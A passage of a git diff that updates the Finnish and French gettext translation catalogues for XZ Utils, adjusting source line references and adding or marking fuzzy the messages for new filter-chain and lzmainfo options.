(kertoo myös lisävalitsimet)" -#: src/xz/message.c:1273 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version näytä versionumero ja poistu" -#: src/xz/message.c:1275 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 +#, c-format msgid "" "\n" "With no FILE, or when FILE is -, read standard input.\n" @@ -923,104 +1044,137 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1281 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "Ilmoita ohjelmistovioista (suomeksi) osoitteeseen <%s>.\n" -#: src/xz/message.c:1283 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "%s -kotisivu: <%s>\n" -#: src/xz/message.c:1287 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "TÄMÄ ON KEHITYSVERSIO, JOTA EI OLE TARKOITETTU TUOTANTOKÄYTTÖÖN." -#: src/xz/options.c:86 -#, c-format -msgid "%s: Options must be `name=value' pairs separated with commas" +#: src/xz/message.c:1160 +msgid "" +"Filter chains are set using the --filters=FILTERS or\n" +"--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" +"can be separated by spaces or '--'. Alternatively a preset <0-9>[e] can be\n" +"specified instead of a filter chain.\n" +msgstr "" + +#: src/xz/message.c:1166 +#, fuzzy +#| msgid "Unsupported filter chain or filter options" +msgid "The supported filters and their options are:" +msgstr "Ei-tuettu suodinketju tai suotimen asetukset" + +#: src/xz/options.c:85 +#, fuzzy, c-format +#| msgid "%s: Options must be `name=value' pairs separated with commas" +msgid "%s: Options must be 'name=value' pairs separated with commas" msgstr "%s: Asetusten on oltava pilkuilla eroteltuja ”nimi=arvo” -pareja" -#: src/xz/options.c:93 +#: src/xz/options.c:92 #, c-format msgid "%s: Invalid option name" msgstr "%s: Virheellinen asetuksen nimi" -#: src/xz/options.c:113 +#: src/xz/options.c:112 #, c-format msgid "%s: Invalid option value" msgstr "%s: Virheellinen asetuksen arvo" -#: src/xz/options.c:286 +#: src/xz/options.c:247 #, c-format msgid "Unsupported LZMA1/LZMA2 preset: %s" msgstr "Ei-tuettu LZMA1/LZMA2-esiasetus: %s" -#: src/xz/options.c:394 +#: src/xz/options.c:355 msgid "The sum of lc and lp must not exceed 4" msgstr "lc:n ja lp:n summa ei saa olla yli 4" -#: src/xz/options.c:398 -#, c-format -msgid "The selected match finder requires at least nice=%" -msgstr "Valittu täsmäävyydenetsin vaatii vähintään nice-arvon=%" - -#: src/xz/suffix.c:134 src/xz/suffix.c:265 -#, c-format -msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" -msgstr "%s: --format=raw vaatii, että --suffix=.PÄÄTE on annettu, ellei kirjoiteta vakiotulosteeseen" - #: src/xz/suffix.c:165 #, c-format msgid "%s: Filename has an unknown suffix, skipping" msgstr "%s: Tiedostonimen pääte on tuntematon, ohitetaan" #: src/xz/suffix.c:186 -#, c-format -msgid "%s: File already has `%s' suffix, skipping" +#, fuzzy, c-format +#| msgid "%s: File already has `%s' suffix, skipping" +msgid "%s: File already has '%s' suffix, skipping" msgstr "%s: Tiedostolla on jo ”%s”-pääte, ohitetaan" -#: src/xz/suffix.c:402 +#: src/xz/suffix.c:393 #, c-format msgid "%s: Invalid filename suffix" msgstr "%s: Virheellinen tiedostonimen pääte" -#: src/xz/util.c:71 +#: src/xz/util.c:106 #, c-format msgid "%s: Value is not a non-negative decimal integer" msgstr "%s: Arvo ei ole ei ole epänegatiivinen kymmenkantainen kokonaisluku" -#: src/xz/util.c:113 +#: src/xz/util.c:148 #, c-format msgid "%s: Invalid multiplier suffix" msgstr "%s: Tuntematon kerroin" -#: src/xz/util.c:115 -msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +#: src/xz/util.c:150 +#, fuzzy +#| msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +msgid "Valid suffixes are 'KiB' (2^10), 'MiB' (2^20), and 'GiB' (2^30)." msgstr "Kelvolliset kertoimet ovat ”KiB” (2¹⁰), ”MiB” (2²⁰) ja ”GiB” (2³⁰)." -#: src/xz/util.c:132 -#, c-format -msgid "Value of the option `%s' must be in the range [%, %]" +#: src/xz/util.c:167 +#, fuzzy, c-format +#| msgid "Value of the option `%s' must be in the range [%, %]" +msgid "Value of the option '%s' must be in the range [%, %]" msgstr "Valitsimen ”%s” arvon on oltava välillä [%, %]" -#: src/xz/util.c:269 +#: src/xz/util.c:290 msgid "Compressed data cannot be read from a terminal" msgstr "Tiivistettyä dataa ei voi lukea päätteestä" -#: src/xz/util.c:282 +#: src/xz/util.c:303 msgid "Compressed data cannot be written to a terminal" msgstr "Tiivistettyä dataa ei voi kirjoittaa päätteeseen" -#: src/common/tuklib_exit.c:40 +#: src/lzmainfo/lzmainfo.c:33 +#, c-format +msgid "" +"Usage: %s [--help] [--version] [FILE]...\n" +"Show information stored in the .lzma file header" +msgstr "" + +#: src/lzmainfo/lzmainfo.c:109 +#, fuzzy +#| msgid "%s: Too small to be a valid .xz file" +msgid "File is too small to be a .lzma file" +msgstr "%s: Liian pieni kelvolliseksi .xz-tiedostoksi" + +#: src/lzmainfo/lzmainfo.c:122 +msgid "Not a .lzma file" +msgstr "" + +#: src/common/tuklib_exit.c:39 msgid "Writing to standard output failed" msgstr "Vakiotulosteeseen kirjoitus epäonnistui" -#: src/common/tuklib_exit.c:43 +#: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "Tuntematon virhe" +#~ msgid "Failed to enable the sandbox" +#~ msgstr "Hiekkalaatikon ottaminen käyttöön epäonnistui" + +#, c-format +#~ msgid "The selected match finder requires at least nice=%" +#~ msgstr "Valittu täsmäävyydenetsin vaatii vähintään nice-arvon=%" + #~ msgid "Sandbox is disabled due to incompatible command line arguments" #~ msgstr "Hiekkalaatikko on poistettu käytöstä yhteensopimattomien komentoriviargumenttien vuoksi" diff --git a/po/fr.gmo b/po/fr.gmo new file mode 100644 index 00000000..519637b2 Binary files /dev/null and b/po/fr.gmo differ diff --git a/po/fr.po b/po/fr.po index 3e4ecdb4..e895188b 100644 --- a/po/fr.po +++ b/po/fr.po @@ -7,7 +7,7 @@ msgid "" msgstr "" "Project-Id-Version: xz-5.4.4-pre1\n" "Report-Msgid-Bugs-To: xz@tukaani.org\n" -"POT-Creation-Date: 2023-07-18 23:34+0800\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2023-12-19 04:12+0100\n" "Last-Translator: Stéphane Aulery \n" "Language-Team: French \n" @@ -28,135 +28,173 @@ msgstr "%s : argument de l'option --block-list invalide" msgid "%s: Too many arguments to --block-list" msgstr "%s : trop d'arguments pour l'option --block-list" -#: src/xz/args.c:116 +#: src/xz/args.c:124 +#, c-format +msgid "In --block-list, block size is missing after filter chain number '%c:'" +msgstr "" + +#: src/xz/args.c:150 msgid "0 can only be used as the last element in --block-list" msgstr "0 peut seulement être utilisé en dernier élément de --block-list" -#: src/xz/args.c:451 +#: src/xz/args.c:539 #, c-format msgid "%s: Unknown file format type" msgstr "%s : Format de fichier inconnu" -#: src/xz/args.c:474 src/xz/args.c:482 +#: src/xz/args.c:562 src/xz/args.c:570 #, c-format msgid "%s: Unsupported integrity check type" msgstr "%s : Type de vérification d'intégrité inconnu" -#: src/xz/args.c:518 -msgid "Only one file can be specified with `--files' or `--files0'." +#: src/xz/args.c:606 +#, fuzzy +#| msgid "Only one file can be specified with `--files' or `--files0'." +msgid "Only one file can be specified with '--files' or '--files0'." msgstr "Un seul fichier peut être spécifié avec `--files' ou `--files0'." #. TRANSLATORS: This is a translatable #. string because French needs a space #. before the colon ("%s : %s"). -#: src/xz/args.c:533 src/xz/coder.c:691 src/xz/coder.c:707 src/xz/coder.c:967 -#: src/xz/coder.c:970 src/xz/file_io.c:605 src/xz/file_io.c:679 -#: src/xz/file_io.c:769 src/xz/file_io.c:940 src/xz/list.c:369 -#: src/xz/list.c:415 src/xz/list.c:477 src/xz/list.c:581 src/xz/list.c:590 +#: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 +#: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 +#: src/xz/list.c:599 #, fuzzy, c-format #| msgid "%s: " msgid "%s: %s" msgstr "%s : " -#: src/xz/args.c:589 +#: src/xz/args.c:677 #, c-format msgid "The environment variable %s contains too many arguments" msgstr "La variable d'environnement %s contient trop d'arguments" -#: src/xz/args.c:691 +#: src/xz/args.c:779 msgid "Compression support was disabled at build time" msgstr "Le support de la compression à était désactivé lors de la compilaton" -#: src/xz/args.c:698 +#: src/xz/args.c:786 msgid "Decompression support was disabled at build time" msgstr "Le support de la décompression a été désactivé lors de la compilation" -#: src/xz/args.c:704 +#: src/xz/args.c:792 msgid "Compression of lzip files (.lz) is not supported" msgstr "" -#: src/xz/args.c:735 +#: src/xz/args.c:814 +msgid "--block-list is ignored unless compressing to the .xz format" +msgstr "" + +#: src/xz/args.c:827 src/xz/args.c:836 #, fuzzy #| msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" msgid "With --format=raw, --suffix=.SUF is required unless writing to stdout" msgstr "%s : Avec --format=raw, --suffix=.SUF est nécessaire sauf lors de l'écriture vers stdout" -#: src/xz/coder.c:115 +#: src/xz/coder.c:140 msgid "Maximum number of filters is four" msgstr "Le nombre maximal de filtres est quatre" -#: src/xz/coder.c:134 +#: src/xz/coder.c:178 +#, c-format +msgid "Error in --filters%s=FILTERS option:" +msgstr "" + +#: src/xz/coder.c:228 msgid "Memory usage limit is too low for the given filter setup." msgstr "La limite d'utilisation mémoire est trop basse pour la configuration de filtres donnée." -#: src/xz/coder.c:169 +#: src/xz/coder.c:243 +#, c-format +msgid "filter chain %u used by --block-list but not specified with --filters%u=" +msgstr "" + +#: src/xz/coder.c:374 msgid "Using a preset in raw mode is discouraged." msgstr "Utiliser un préréglage en mode `raw' est déconseillé." -#: src/xz/coder.c:171 +#: src/xz/coder.c:376 msgid "The exact options of the presets may vary between software versions." msgstr "Le détail des préréglages peut varier entre différentes versions du logiciel." -#: src/xz/coder.c:194 +#: src/xz/coder.c:402 msgid "The .lzma format supports only the LZMA1 filter" msgstr "Le format .lzma ne prend en charge que le filtre LZMA1" -#: src/xz/coder.c:202 +#: src/xz/coder.c:410 msgid "LZMA1 cannot be used with the .xz format" msgstr "Le filtre LZMA1 ne peut être utilisé avec le format .xz" -#: src/xz/coder.c:219 -msgid "The filter chain is incompatible with --flush-timeout" +#: src/xz/coder.c:434 +#, fuzzy, c-format +#| msgid "The filter chain is incompatible with --flush-timeout" +msgid "Filter chain %u is incompatible with --flush-timeout" msgstr "La Chaine de filtre est incompatible avec --flush-timeout" -#: src/xz/coder.c:225 +#: src/xz/coder.c:443 msgid "Switching to single-threaded mode due to --flush-timeout" msgstr "Bascule en mode mono-processus à cause de --flush-timeout" -#: src/xz/coder.c:249 +#: src/xz/coder.c:484 +#, fuzzy, c-format +#| msgid "Unsupported options" +msgid "Unsupported options in filter chain %u" +msgstr "Options non prises en charge" + +#: src/xz/coder.c:515 #, c-format msgid "Using up to % threads." msgstr "Jusqu'à % threads seront utilisés." -#: src/xz/coder.c:265 +#: src/xz/coder.c:531 msgid "Unsupported filter chain or filter options" msgstr "Enchaînement ou options de filtres non pris en charge" -#: src/xz/coder.c:277 +#: src/xz/coder.c:552 #, c-format msgid "Decompression will need %s MiB of memory." msgstr "La décompression nécessitera %s MiB de mémoire." -#: src/xz/coder.c:309 +#: src/xz/coder.c:584 #, fuzzy, c-format msgid "Reduced the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" msgstr "Nombre de threads réduit de %s à %s pour ne pas dépasser la limite d'utilisation mémoire de %s MiB" -#: src/xz/coder.c:329 +#: src/xz/coder.c:604 #, c-format msgid "Reduced the number of threads from %s to one. The automatic memory usage limit of %s MiB is still being exceeded. %s MiB of memory is required. Continuing anyway." msgstr "" -#: src/xz/coder.c:356 +#: src/xz/coder.c:631 #, fuzzy, c-format msgid "Switching to single-threaded mode to not exceed the memory usage limit of %s MiB" msgstr "Nombre de threads réduit de %s à %s pour ne pas dépasser la limite d'utilisation mémoire de %s MiB" -#: src/xz/coder.c:411 +#: src/xz/coder.c:756 #, c-format msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" msgstr "Taille du dictionnaire LZMA%c réduite de %s MiB à %s MiB pour ne pas dépasser la limite d'utilisation mémoire de %s MiB" -#: src/xz/file_io.c:110 src/xz/file_io.c:118 +#: src/xz/coder.c:766 +#, fuzzy, c-format +#| msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgid "Adjusted LZMA%c dictionary size for --filters%u from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgstr "Taille du dictionnaire LZMA%c réduite de %s MiB à %s MiB pour ne pas dépasser la limite d'utilisation mémoire de %s MiB" + +#: src/xz/coder.c:1140 +#, fuzzy, c-format +#| msgid "Error creating a pipe: %s" +msgid "Error changing to filter chain %u: %s" +msgstr "Impossible de créer un tube anonyme (pipe) : %s" + +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Impossible de créer un tube anonyme (pipe) : %s" -#: src/xz/file_io.c:252 -msgid "Failed to enable the sandbox" -msgstr "Echec de l'activation de la sandboxe" - -#: src/xz/file_io.c:294 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s : L'appel à la fonction poll() a échoué : %s" @@ -171,27 +209,27 @@ msgstr "%s : L'appel à la fonction poll() a échoué : %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:361 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s : Le fichier a apparemment été déplacé, suppression annulée" -#: src/xz/file_io.c:368 src/xz/file_io.c:924 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s : Impossible de supprimer : %s" -#: src/xz/file_io.c:394 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s : Impossible de modifier le propriétaire du fichier : %s" -#: src/xz/file_io.c:407 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s : Impossible de modifier le groupe propriétaire du fichier : %s" -#: src/xz/file_io.c:426 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s : Impossible de modifier les permissions du fichier : %s" @@ -204,239 +242,239 @@ msgstr "%s : Impossible de modifier les permissions du fichier : %s" # - make it more difficult to look up in search engines; it might happen one in # a million times, if we dilute the error message in 20 languages, it will be # almost impossible to find an explanation and support for the error. -#: src/xz/file_io.c:552 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Echec de la lecture du drapeau d'état du fichier depuis la sortie standard : %s" -#: src/xz/file_io.c:610 src/xz/file_io.c:672 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s est un lien symbolique : ignoré" -#: src/xz/file_io.c:701 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s est un répertoire : ignoré" -#: src/xz/file_io.c:707 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s n'est pas un fichier régulier : ignoré" -#: src/xz/file_io.c:724 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s : Le fichier possède les bits `setuid' ou `setgid' : ignoré" -#: src/xz/file_io.c:731 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s : Le fichier possède le bit `sticky' : ignoré" -#: src/xz/file_io.c:738 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s : Le fichier d'entrée a plus d'un lien matériel : ignoré" -#: src/xz/file_io.c:780 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "Nom de fichier vide, ignoré" # See note from translator above titled "file status flags". -#: src/xz/file_io.c:834 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Erreur de restauration du drapeau d'état de l'entrée standard : %s" # See note from translator above titled "file status flags". -#: src/xz/file_io.c:882 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Erreur de lecture du drapeau d'état du fichier depuis la sortie standard : %s" -#: src/xz/file_io.c:1060 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Impossible de rétablir le drapeau O_APPEND sur la sortie standard : %s" -#: src/xz/file_io.c:1072 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s : Impossible de fermer le fichier : %s" -#: src/xz/file_io.c:1108 src/xz/file_io.c:1371 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s : Impossible de se déplacer dans le fichier pour créer un 'sparse file' : %s" -#: src/xz/file_io.c:1209 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s : Erreur d'écriture : %s" -#: src/xz/file_io.c:1239 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s : Impossible de se déplacer dans le fichier : %s" -#: src/xz/file_io.c:1263 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s : Fin de fichier inattendue" -#: src/xz/file_io.c:1322 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s : Erreur d'écriture : %s" -#: src/xz/hardware.c:238 +#: src/xz/hardware.c:237 msgid "Disabled" msgstr "Désactivé" -#: src/xz/hardware.c:269 +#: src/xz/hardware.c:268 #, fuzzy msgid "Amount of physical memory (RAM):" msgstr "Quantité totale de mémoire physique (RAM) : " -#: src/xz/hardware.c:270 +#: src/xz/hardware.c:269 msgid "Number of processor threads:" msgstr "" -#: src/xz/hardware.c:271 +#: src/xz/hardware.c:270 msgid "Compression:" msgstr "" -#: src/xz/hardware.c:272 +#: src/xz/hardware.c:271 msgid "Decompression:" msgstr "" -#: src/xz/hardware.c:273 +#: src/xz/hardware.c:272 #, fuzzy msgid "Multi-threaded decompression:" msgstr "Limite d'utilisation pour la décompression : " -#: src/xz/hardware.c:274 +#: src/xz/hardware.c:273 msgid "Default for -T0:" msgstr "" -#: src/xz/hardware.c:292 +#: src/xz/hardware.c:291 msgid "Hardware information:" msgstr "" -#: src/xz/hardware.c:299 +#: src/xz/hardware.c:298 #, fuzzy msgid "Memory usage limits:" msgstr "Limite d'utilisation mémoire atteinte" -#: src/xz/list.c:68 +#: src/xz/list.c:67 msgid "Streams:" msgstr "" -#: src/xz/list.c:69 +#: src/xz/list.c:68 msgid "Blocks:" msgstr "" -#: src/xz/list.c:70 +#: src/xz/list.c:69 #, fuzzy msgid "Compressed size:" msgstr " Taille données avec compression : %s\n" -#: src/xz/list.c:71 +#: src/xz/list.c:70 #, fuzzy msgid "Uncompressed size:" msgstr " Taille données sans compression : %s\n" -#: src/xz/list.c:72 +#: src/xz/list.c:71 msgid "Ratio:" msgstr "" -#: src/xz/list.c:73 +#: src/xz/list.c:72 msgid "Check:" msgstr "" -#: src/xz/list.c:74 +#: src/xz/list.c:73 #, fuzzy msgid "Stream Padding:" msgstr " Octets de rembourrage du flux : %s\n" -#: src/xz/list.c:75 +#: src/xz/list.c:74 #, fuzzy msgid "Memory needed:" msgstr " Mémoire nécessaire : %s MiB\n" -#: src/xz/list.c:76 +#: src/xz/list.c:75 #, fuzzy msgid "Sizes in headers:" msgstr " Tailles stockées dans l'en-tête : %s\n" -#: src/xz/list.c:79 +#: src/xz/list.c:78 #, fuzzy msgid "Number of files:" msgstr " Nombre de fichiers : %s\n" -#: src/xz/list.c:122 +#: src/xz/list.c:121 msgid "Stream" msgstr "" -#: src/xz/list.c:123 +#: src/xz/list.c:122 msgid "Block" msgstr "" -#: src/xz/list.c:124 +#: src/xz/list.c:123 msgid "Blocks" msgstr "" -#: src/xz/list.c:125 +#: src/xz/list.c:124 msgid "CompOffset" msgstr "" -#: src/xz/list.c:126 +#: src/xz/list.c:125 msgid "UncompOffset" msgstr "" -#: src/xz/list.c:127 +#: src/xz/list.c:126 msgid "CompSize" msgstr "" -#: src/xz/list.c:128 +#: src/xz/list.c:127 msgid "UncompSize" msgstr "" -#: src/xz/list.c:129 +#: src/xz/list.c:128 #, fuzzy msgid "TotalSize" msgstr "Totaux :" -#: src/xz/list.c:130 +#: src/xz/list.c:129 msgid "Ratio" msgstr "" -#: src/xz/list.c:131 +#: src/xz/list.c:130 msgid "Check" msgstr "" -#: src/xz/list.c:132 +#: src/xz/list.c:131 msgid "CheckVal" msgstr "" -#: src/xz/list.c:133 +#: src/xz/list.c:132 msgid "Padding" msgstr "" -#: src/xz/list.c:134 +#: src/xz/list.c:133 msgid "Header" msgstr "" -#: src/xz/list.c:135 +#: src/xz/list.c:134 msgid "Flags" msgstr "" -#: src/xz/list.c:136 +#: src/xz/list.c:135 msgid "MemUsage" msgstr "" -#: src/xz/list.c:137 +#: src/xz/list.c:136 msgid "Filters" msgstr "" @@ -444,7 +482,7 @@ msgstr "" #. This string is used in tables. In older xz version this #. string was limited to ten columns in a fixed-width font, but #. nowadays there is no strict length restriction anymore. -#: src/xz/list.c:169 +#: src/xz/list.c:168 msgid "None" msgstr "Aucune" @@ -452,60 +490,60 @@ msgstr "Aucune" #. but the Check ID is known (here 2). In older xz version these #. strings were limited to ten columns in a fixed-width font, but #. nowadays there is no strict length restriction anymore. -#: src/xz/list.c:175 +#: src/xz/list.c:174 msgid "Unknown-2" msgstr "Inconnue-2" -#: src/xz/list.c:176 +#: src/xz/list.c:175 msgid "Unknown-3" msgstr "Inconnue-3" -#: src/xz/list.c:178 +#: src/xz/list.c:177 msgid "Unknown-5" msgstr "Inconnue-5" -#: src/xz/list.c:179 +#: src/xz/list.c:178 msgid "Unknown-6" msgstr "Inconnue-6" -#: src/xz/list.c:180 +#: src/xz/list.c:179 msgid "Unknown-7" msgstr "Inconnue-7" -#: src/xz/list.c:181 +#: src/xz/list.c:180 msgid "Unknown-8" msgstr "Inconnue-8" -#: src/xz/list.c:182 +#: src/xz/list.c:181 msgid "Unknown-9" msgstr "Inconnue-9" -#: src/xz/list.c:184 +#: src/xz/list.c:183 msgid "Unknown-11" msgstr "Inconnue-11" -#: src/xz/list.c:185 +#: src/xz/list.c:184 msgid "Unknown-12" msgstr "Inconnue-12" -#: src/xz/list.c:186 +#: src/xz/list.c:185 msgid "Unknown-13" msgstr "Inconnue-13" -#: src/xz/list.c:187 +#: src/xz/list.c:186 msgid "Unknown-14" msgstr "Inconnue-14" -#: src/xz/list.c:188 +#: src/xz/list.c:187 msgid "Unknown-15" msgstr "Inconnue-15" -#: src/xz/list.c:351 +#: src/xz/list.c:350 #, c-format msgid "%s: File is empty" msgstr "%s : Le fichier est vide" -#: src/xz/list.c:356 +#: src/xz/list.c:355 #, c-format msgid "%s: Too small to be a valid .xz file" msgstr "%s : Trop petit pour être un fichier xz valide." @@ -514,41 +552,45 @@ msgstr "%s : Trop petit pour être un fichier xz valide." #. to Ratio, the columns are right aligned. Check and Filename #. are left aligned. If you need longer words, it's OK to #. use two lines here. Test with "xz -l foo.xz". -#: src/xz/list.c:731 +#: src/xz/list.c:740 msgid "Strms Blocks Compressed Uncompressed Ratio Check Filename" msgstr "Flux Blocs Compressé Décompressé Ratio Vérif. Nom de fichier" -#: src/xz/list.c:1026 src/xz/list.c:1204 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "Yes" msgstr "Oui" -#: src/xz/list.c:1026 src/xz/list.c:1204 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "No" msgstr "Non" -#: src/xz/list.c:1028 src/xz/list.c:1206 +#: src/xz/list.c:1037 src/xz/list.c:1215 #, c-format msgid " Minimum XZ Utils version: %s\n" msgstr " Version minimale de XZ Utils : %s\n" #. TRANSLATORS: %s is an integer. Only the plural form of this #. message is used (e.g. "2 files"). Test with "xz -l foo.xz bar.xz". -#: src/xz/list.c:1179 +#: src/xz/list.c:1188 #, c-format msgid "%s file\n" msgid_plural "%s files\n" msgstr[0] "%s fichier\n" msgstr[1] "%s fichiers\n" -#: src/xz/list.c:1192 +#: src/xz/list.c:1201 msgid "Totals:" msgstr "Totaux :" -#: src/xz/list.c:1270 +#: src/xz/list.c:1284 msgid "--list works only on .xz files (--format=xz or --format=auto)" msgstr "--list ne marche que sur les fichiers .xz (--format=xz ou --format=auto)" -#: src/xz/list.c:1276 +#: src/xz/list.c:1289 +msgid "Try 'lzmainfo' with .lzma files." +msgstr "" + +#: src/xz/list.c:1297 msgid "--list does not support reading from standard input" msgstr "--list est incompatible avec la lecture sur l'entrée standard" @@ -563,15 +605,16 @@ msgid "%s: Unexpected end of input when reading filenames" msgstr "%s : Fin des données inattendue lors de la lecture des noms de fichiers" #: src/xz/main.c:120 -#, c-format -msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +#, fuzzy, c-format +#| msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s : Caractère NULL détecté lors de la lecture des noms de fichiers ; peut-être pensiez-vous à `--files0' plutot qu'a `--files' ?" -#: src/xz/main.c:188 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "La compression et la décompression ne marchent pas encore avec --robot." -#: src/xz/main.c:266 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "Impossible de lire à la fois les données et les noms de fichiers depuis l'entrée standard" @@ -579,68 +622,69 @@ msgstr "Impossible de lire à la fois les données et les noms de fichiers depui #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:670 src/xz/message.c:725 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s : " -#: src/xz/message.c:797 src/xz/message.c:856 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Erreur interne (bug)" -#: src/xz/message.c:804 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "Impossible d'installer le gestionnaire de signaux" -#: src/xz/message.c:813 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Pas de données de vérification d'intégrité ; vérification non effectuée" -#: src/xz/message.c:816 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Méthode de vérification d'intégrité non prise en charge ; vérification non effectuée" -#: src/xz/message.c:823 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Limite d'utilisation mémoire atteinte" -#: src/xz/message.c:826 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "Format de fichier inconnu" -#: src/xz/message.c:829 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Options non prises en charge" -#: src/xz/message.c:832 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Les données compressées sont corrompues" -#: src/xz/message.c:835 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Fin des données inattendue " -#: src/xz/message.c:877 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "%s MiB de mémoire sont nécessaires. La limite est désactivée." -#: src/xz/message.c:905 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "%s MiB de mémoire sont nécessaires, la limite étant %s." -#: src/xz/message.c:924 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s : Enchaînement de filtres : %s\n" -#: src/xz/message.c:935 -#, c-format -msgid "Try `%s --help' for more information." +#: src/xz/message.c:916 +#, fuzzy, c-format +#| msgid "Try `%s --help' for more information." +msgid "Try '%s --help' for more information." msgstr "Éxécutez `%s --help' pour obtenir davantage d'informations." -#: src/xz/message.c:961 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -651,17 +695,17 @@ msgstr "" "Compresse ou decompresse FICHIER(s) au format .xz.\n" "\n" -#: src/xz/message.c:968 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "" "Les arguments obligatoires pour les options longues le sont aussi pour les\n" "options courtes.\n" -#: src/xz/message.c:972 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Mode d'opération :\n" -#: src/xz/message.c:975 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -673,7 +717,7 @@ msgstr "" " -t, --test tester l'intégrité du fichier compressé\n" " -l, --list lister les informations sur les fichiers .xz" -#: src/xz/message.c:981 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" 